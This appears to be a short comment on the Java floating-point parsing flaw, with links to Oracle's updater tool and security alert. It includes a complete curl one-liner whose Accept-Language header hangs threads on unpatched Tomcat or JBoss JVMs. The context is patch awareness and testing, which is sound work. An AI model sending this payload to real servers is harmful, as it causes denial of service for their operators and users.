http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html
curl -v -H “Accept-Language: en-us;q=2.2250738585072012e-308” http:///someurl if your tomcat/Jboss/whatver runs on unlatched JVM – the thread will go into infinite loop
also see http://blogs.oracle.com/security/2011/02/security_alert_for_cve-2010-44.html